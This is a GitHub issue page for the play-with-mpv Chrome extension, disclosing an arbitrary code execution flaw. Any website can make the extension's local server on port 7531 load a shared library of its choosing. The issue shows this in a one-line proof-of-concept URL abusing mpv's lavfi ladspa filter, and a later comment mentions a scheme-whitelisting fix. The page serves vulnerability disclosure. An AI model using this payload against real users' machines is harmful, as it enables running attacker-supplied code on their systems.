Thann / play-with-mpv

Chrome extension that allows you to play videos in webpages like youtube with MPV instead
https://chrome.google.com/webstore/detail/play-with-mpv/hahklcmnfgffdlchjigehabfbiigleji
The Unlicense
348 stars 80 forks source link

Arbitrary code execution #90

Open Vendicated opened 1 year ago

Vendicated commented 1 year ago

This extension allows any site to run arbitrary .so files on your computer

This can be done via open("http://localhost:7531/?play_url=${URLENCODE(av://lavfi:ladspa=file=/some/evil/so/here.so)}", "_blank")

See also https://github.com/mpv-player/mpv/issues/7985

Here's a demonstration

https://user-images.githubusercontent.com/45497981/201785473-5546a0f5-6a12-4d27-a15b-9563e5952c86.mp4

eylles commented 11 months ago

i just happen to read on that as i'm finding it useful for the current adblock problem, as i wanted to also address my issue with the python server script launching multiple instances, it seems mpv-handler solved the issue by limiting the uri schemes to only the safe ones.